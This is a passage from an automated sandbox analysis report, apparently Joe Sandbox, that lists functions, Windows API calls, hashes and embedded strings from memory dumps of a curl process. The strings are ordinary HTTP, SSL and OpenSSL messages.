_OPENSSL_isservice, xrefs: 009DAB3A

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation
String ID: Service-0x$_OPENSSL_isservice
API String ID: 1233653401-1672312481
Opcode ID: 7c55d77217a147f58cf403320be23309a33847f9024597654c32deb4c3a041ee
Instruction ID: 41cd1c46c87203b8072d1ba217e776b1ff1767149de7c7551ed9b244e6456263
Opcode Fuzzy Hash: 7c55d77217a147f58cf403320be23309a33847f9024597654c32deb4c3a041ee
Instruction Fuzzy Hash: 8031A731A40109ABCB10DFB8ED45BAE777CEF44724F50426AF866D72D1EB349A128752

Function 00A888BB Relevance: 15.3, APIs: 10, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe45495ce8e8e694781e237bd9ad8076d3e5130f54d74204213aed6a4613356d
Instruction ID: eb7e87e2a02a2ec0a7e97f93994430eaf36742ca03e4ed0d72c754f8acc83765
Opcode Fuzzy Hash: fe45495ce8e8e694781e237bd9ad8076d3e5130f54d74204213aed6a4613356d
Instruction Fuzzy Hash: 58B161B1900615AFCB20EFA9C944AADF7F8BF08710F54821AF515E7580EF38E851CBA1

Function 0099EE80 Relevance: 14.4, APIs: 3, Strings: 5, Instructions: 417COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 0099EECA
GetTickCount64.KERNEL32 ref: 0099EF0E

Part of subcall function 0099EBB0: GetTickCount64.KERNEL32 ref: 0099EBF2

Strings

Content-Length: %lld, xrefs: 0099F030
Accept-ranges: bytes, xrefs: 0099F074, 0099F08E, 0099F093
Can't get the size of file., xrefs: 0099F188
Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT, xrefs: 0099F106
failed to resume file:// transfer, xrefs: 0099F3D2

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: Accept-ranges: bytes$Can't get the size of file.$Content-Length: %lld$Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT$failed to resume file:// transfer
API String ID: 1927824332-1432456729
Opcode ID: e260affc1184ebfb19b1de4fc990a9dc8005e3a41a795f81207980232ad42c39
Instruction ID: c18a89ed0419c067b4078c1393f473940530c1ac542828218f2efe4a3314894d
Opcode Fuzzy Hash: e260affc1184ebfb19b1de4fc990a9dc8005e3a41a795f81207980232ad42c39
Instruction Fuzzy Hash: 0AE1C231B087419BCB18DF28D891B6EFBE9BF85304F04462DF889D7292DB359915CB92

Function 009B5540 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 203networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 009B604E
htons.WS2_32(?), ref: 009B605F
send.WS2_32(?,?,00000003,00000000), ref: 009B60DF
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?), ref: 009B60EF
send.WS2_32(?,?,00000002,00000000), ref: 009B6123
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009B612D

Strings

Sending data failed (%d), xrefs: 009B6130
Sending data failed (%d), xrefs: 009B60F2

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLasthtonssend
String ID: Sending data failed (%d)$Sending data failed (%d)
API String ID: 2027122571-2562922721
Opcode ID: bcdf2e246694c02c95fd80f2fd671c2322864b1dc0511832bbf4fda9141cb834
Instruction ID: 0d3a9f930d5242b54c1d6f1dfa0a749315793cbf64c66a08d0c6c46f19c32bfb
Opcode Fuzzy Hash: bcdf2e246694c02c95fd80f2fd671c2322864b1dc0511832bbf4fda9141cb834
Instruction Fuzzy Hash: D2615431200A02EFD7028F2CDA85BF5BBA9FB94335F640125E902CB385D775E856CBA1

Function 00A04D50 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 145threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00A04E0C

Strings

..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 00A04DAF
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 00A04E65
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 00A04E81
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 00A04EE1
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 00A04D93
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 00A04EC1
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 00A04D72

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: CurrentThread
String ID: ..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c
API String ID: 2882836952-2396807625
Opcode ID: 1d5e432e474bbb00ac33997235731d16245e3e8b22cf3d7e5cb3317bec03defe
Instruction ID: 80511d96f75ff19a78cb59d6cbece1e874598c51baf609ea15dd2d83698739d5
Opcode Fuzzy Hash: 1d5e432e474bbb00ac33997235731d16245e3e8b22cf3d7e5cb3317bec03defe
Instruction Fuzzy Hash: 2241B1703403056BE720DB98EC82FA673E4BB88B14F444519FB18DB2C2EBF1ED518691

Function 009951D0 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 265COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 00995271
GetTickCount64.KERNEL32 ref: 0099534C

Strings

SSL connection timeout, xrefs: 0099533C
SSL connection timeout, xrefs: 009954E3
SSL connection timeout, xrefs: 009954B7
select/poll on SSL socket, errno: %d, xrefs: 009954C9

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: SSL connection timeout$SSL connection timeout$SSL connection timeout$select/poll on SSL socket, errno: %d
API String ID: 1927824332-2205507416
Opcode ID: c47534d141cda97afed8abfa6fc25253121d719fe6ecf8c832e18e9d4c9f8695
Instruction ID: 2b70ed3c19d5a58073e82687a7b669de2e5fb670c0ac35d520c18a87193f63b8
Opcode Fuzzy Hash: c47534d141cda97afed8abfa6fc25253121d719fe6ecf8c832e18e9d4c9f8695
Instruction Fuzzy Hash: 25910431704B018BCF2ACF2C998566FB7D9EBC8311F1A863EE9199B291DA70DD04C791

Function 00A7B574 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 140fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,00B17972,00000104,00000000,00000000,?), ref: 00A7B606
GetStdHandle.KERNEL32(000000F4,00000000,00000000,?), ref: 00A7B6C0
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00A7B70F

Strings

Runtime Error!Program: , xrefs: 00A7B5D4
<program name unknown>, xrefs: 00A7B615
Microsoft Visual C++ Runtime Library, xrefs: 00A7B6AE
..., xrefs: 00A7B64D

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: cdcc3fe6bc4897c9888851091941c7925fe935017e229a6c174d26dad3395118
Instruction ID: 20249f826afb532dc877e5ee96ba74716771ade343dc844a6e28305d0a30306b
Opcode Fuzzy Hash: cdcc3fe6bc4897c9888851091941c7925fe935017e229a6c174d26dad3395118
Instruction Fuzzy Hash: 464137B2A9130576D72877788D86FEA63789B44790F40C1B5F908A31D2FF708A0842B1

Function 009E6C30 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 116COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E6D9A
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E6CC5
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E6C88
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E6D36
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E6CEA
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E6D07

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c
API String ID: 0-283015414
Opcode ID: a58a74628e5ea39c9367aba18def2955722165d3cfdb3a6cc3c4475b7ae75ee7
Instruction ID: 8ecd38494bd169d4c5b0309a33e064510b24506c41a95ce1f5cfb4549091ef70
Opcode Fuzzy Hash: a58a74628e5ea39c9367aba18def2955722165d3cfdb3a6cc3c4475b7ae75ee7
Instruction Fuzzy Hash: 4E412830740341ABE325DB16FC66FA63394FB64B80F94851CF9596B1D2DEB09D418685

Function 009BAC40 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 267COMMON

Download Yara Rule

Strings

GSSAPI handshake failure (invalid security layer), xrefs: 009BADE0
GSSAPI handshake failure (empty security message), xrefs: 009BAD8F
GSSAPI handshake failure (empty security message), xrefs: 009BAFF4
GSSAPI handshake failure (invalid security data), xrefs: 009BADB0

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: GSSAPI handshake failure (empty security message)$GSSAPI handshake failure (empty security message)$GSSAPI handshake failure (invalid security data)$GSSAPI handshake failure (invalid security layer)
API String ID: 0-2965908308
Opcode ID: d157496f2f8a85b80e96b5f2b765916f13b993a93cff7c405915bf8ec0f2faad
Instruction ID: c02741922d7db190aac28968ed5561d8b1fbd0b372a9d1472f21f2f744497df9
Opcode Fuzzy Hash: d157496f2f8a85b80e96b5f2b765916f13b993a93cff7c405915bf8ec0f2faad
Instruction Fuzzy Hash: 95B19DB15083419FD720DF68D945B9BBBE8BF88304F04482DF98997262D776D909CB93

Function 0098C830 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 0098C840

Strings

User-Agent: %s, xrefs: 0098C8D4

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: User-Agent: %s
API String ID: 1927824332-43864714
Opcode ID: 0c4ff1a1148e69700b1dd9f5ba371f1cf4649fe797b471afb689272bbb3e9e7d
Instruction ID: bd0f5b14ad9cc94eba934780624b5f3609f257314dc1f72e601161fe6dc6767a
Opcode Fuzzy Hash: 0c4ff1a1148e69700b1dd9f5ba371f1cf4649fe797b471afb689272bbb3e9e7d
Instruction Fuzzy Hash: A651E372B406406BEB196B38DD4ABBEBB5CEB42312F04437EF90C9E2D1DB71591087A0

Function 0097D580 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,?,0097D759), ref: 0097D587

Strings

Error creating directory %s., xrefs: 0097D5E4
No space left on the file system that will contain the directory %s., xrefs: 0097D59F
The directory name %s is too long., xrefs: 0097D60A
You don't have permission to create %s., xrefs: 0097D5B2
%s resides on a read-only file system., xrefs: 0097D5C5
Cannot create directory %s because you exceeded your quota., xrefs: 0097D5F7

Memory Dump Source

